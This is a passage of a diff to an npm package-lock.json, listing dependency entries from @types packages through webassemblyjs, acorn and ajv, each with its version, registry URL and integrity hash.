"sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.35", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz", + "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.0.tgz", + "integrity": "sha512-4x5FkPpLipqwthjPsF7ZRbOv3uoLUFkTA9G9v583qi4pACvq0uTELrB8OLUzPWUI4IJIyvM85vzkV1nyiI2Lig==", + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/eslint": { + "version": "8.44.2", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.44.2.tgz", + "integrity": "sha512-sdPRb9K6iL5XZOmBubg8yiFp5yS/JdUDQsq5e6h95km91MCYMuvp7mh1fjPEYUhvHepKpZOjnEaMBR4PxjWDzg==", + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.4", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.4.tgz", + "integrity": "sha512-9K4zoImiZc3HlIp6AVUDE4CWYx22a+lhSZMYNpbjW04+YF0KWj4pJXnEMjdnFTiQibFFmElcsasJXDbdI/EPhA==", + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz", + "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==" + }, + "node_modules/@types/express": { + "version": "4.17.17", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.17.tgz", + "integrity": "sha512-Q4FmmuLGBG58btUnfS1c1r/NQdlp3DMfGDGig8WhfpA2YRUtEkxAjkZb0yvplJGYdF1fsQ81iMDcH24sSCNC/Q==", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.17.35", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.35.tgz", + "integrity": "sha512-wALWQwrgiB2AWTT91CB62b6Yt0sNHpznUXeZEcnPU3DRdlDIz74x8Qg1UUYKSVFi+va5vKOLYRBI1bRKiLLKIg==", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/hast": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.5.tgz", + "integrity": "sha512-SvQi0L/lNpThgPoleH53cdjB3y9zpLlVjRbqB3rH8hx1jiRSBGAhyjV3H+URFjNVRqt2EdYNrbZE5IsGlNfpRg==", + "dependencies": { + "@types/unist": "^2" + } + }, + "node_modules/@types/history": { + "version": "4.7.11", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.11.tgz", + "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==" + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==" + }, + "node_modules/@types/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-/K3ds8TRAfBvi5vfjuz8y6+GiAYBZ0x4tXv1Av6CWBWn0IlADc+ZX9pMq7oU0fNQPnBwIZl3rmeLp6SBApbxSQ==" + }, + "node_modules/@types/http-proxy": { + "version": "1.17.11", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.11.tgz", + "integrity": "sha512-HC8G7c1WmaF2ekqpnFq626xd3Zz0uvaqFmBJNRZCGEZCXkvSdJoNFn/8Ygbd9fKNQj8UzLdCETaI0UWPAjK7IA==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==" + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.12", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.12.tgz", + "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==" + }, + "node_modules/@types/mdast": { + "version": "3.0.12", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.12.tgz", + "integrity": "sha512-DT+iNIRNX884cx0/Q1ja7NyUPpZuv0KPyL5rGNxm1WC1OtHstl7n4Jb7nk+xacNShQMbczJjt8uFzznpp6kYBg==", + "dependencies": { + "@types/unist": "^2" + } + }, + "node_modules/@types/mime": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==" + }, + "node_modules/@types/node": { + "version": "20.5.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.5.1.tgz", + "integrity": "sha512-4tT2UrL5LBqDwoed9wZ6N3umC4Yhz3W3FloMmiiG4JwmUJWpie0c7lcnUNd4gtMKuDEO4wRVS8B6Xa0uMRsMKg==" + }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "node_modules/@types/parse5": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@types/parse5/-/parse5-5.0.3.tgz", + "integrity": "sha512-kUNnecmtkunAoQ3CnjmMkzNU/gtxG8guhi+Fk2U/kOpIKjIMKnXGp4IJCgQJrXSgMsWYimYG4TGjz/UzbGEBTw==" + }, + "node_modules/@types/prop-types": { + "version": "15.7.5", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==" + }, + "node_modules/@types/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==" + }, + "node_modules/@types/range-parser": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz", + "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==" + }, + "node_modules/@types/react": { + "version": "17.0.64", + "resolved": "https://registry.npmjs.org/@types/react/-/react-17.0.64.tgz", + "integrity": "sha512-IlgbX/vglDTwrCRgad6fTCzOT+D/5C0xwuvrzfuqfhg9gJrkFqAGADpUFlEtqbrP1IEo9QLSbo41MaFfoIu9Aw==", + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-helmet": { + "version": "6.1.6", + "resolved": "https://registry.npmjs.org/@types/react-helmet/-/react-helmet-6.1.6.tgz", + "integrity": "sha512-ZKcoOdW/Tg+kiUbkFCBtvDw0k3nD4HJ/h/B9yWxN4uDO8OkRksWTO+EL+z/Qu3aHTeTll3Ro0Cc/8UhwBCMG5A==", + "dev": true, + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react-router": { + "version": "5.1.20", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.20.tgz", + "integrity": "sha512-jGjmu/ZqS7FjSH6owMcD5qpq19+1RS9DeVRqfl1FeBMxTDQAGwlMWOcs52NDoXaNKyG3d1cYQFMs9rCrb88o9Q==", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*" + } + }, + "node_modules/@types/react-router-config": { + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/@types/react-router-config/-/react-router-config-5.0.7.tgz", + "integrity": "sha512-pFFVXUIydHlcJP6wJm7sDii5mD/bCmmAY0wQzq+M+uX7bqS95AQqHZWP1iNMKrWVQSuHIzj5qi9BvrtLX2/T4w==", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "^5.1.0" + } + }, + "node_modules/@types/react-router-dom": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.3.tgz", + "integrity": "sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw==", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "*" + } + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==" + }, + "node_modules/@types/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-pSAff4IAxJjfAXUG6tFkO7dsSbTmf8CtUpfhhZ5VhkRpC4628tJhh3+V6H1E+/Gs9piSzYKT5yzHO5M4GG9jkw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/scheduler": { + "version": "0.16.3", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.3.tgz", + "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" + }, + "node_modules/@types/send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.1.tgz", + "integrity": "sha512-Cwo8LE/0rnvX7kIIa3QHCkcuF21c05Ayb0ZfxPiv0W8VRiZiNW/WuRupHKpqqGVGf7SUA44QSOUKaEd9lIrd/Q==", + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==", + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.2", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.2.tgz", + "integrity": "sha512-J2LqtvFYCzaj8pVYKw8klQXrLLk7TBZmQ4ShlcdkELFKGwGMfevMLneMMRkMgZxotOD9wg497LpC7O8PcvAmfw==", + "dependencies": { + "@types/http-errors": "*", + "@types/mime": "*", + "@types/node": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.33", + "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz", + "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/unist": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.7.tgz", + "integrity": "sha512-cputDpIbFgLUaGQn6Vqg3/YsJwxUwHLO13v3i5ouxT4lat0khip9AEWxtERujXV9wxIB1EyF97BSJFt6vpdI8g==" + }, + "node_modules/@types/ws": { + "version": "8.5.5", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.5.tgz", + "integrity": "sha512-lwhs8hktwxSjf9UaZ9tG5M03PGogvFaH8gUgLNbN9HKIg0dvv6q+gkSuJ8HN4/VbyxkuLzCjlN7GquQ0gUJfIg==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "17.0.24", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==" + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz", + "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz", + "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz", + "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz", + "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-opt": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6", + "@webassemblyjs/wast-printer": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz", + "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz", + "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz", + "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz", + "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==", + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/accepts/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz", + "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-class-fields": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/acorn-class-fields/-/acorn-class-fields-0.2.1.tgz", + "integrity": "sha512-US/kqTe0H8M4LN9izoL+eykVAitE68YMuYZ3sHn3i1fjniqR7oQ3SPvuMK/VT1kjOQHrx5Q88b90TtOKgAv2hQ==", + "engines": { + "node": ">=4.8.2" + }, + "peerDependencies": { + "acorn": "^6.0.0" + } + }, + "node_modules/acorn-dynamic-import": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-4.0.0.tgz", + "integrity": "sha512-d3OEjQV4ROpoflsnUA8HozoIR504TFxNivYEUi6uwz0IYhBkTDXGuWlNdMtybRt3nqVx/L6XqMt0FxkXuWKZhw==", + "deprecated": "This is probably built in to whatever tool you're using. If you still need it... idk", + "peerDependencies": { + "acorn": "^6.0.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", + "integrity": "sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/algoliasearch": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/algoliasearch/-/algoliasearch-4.19.1.tgz", + "integrity": 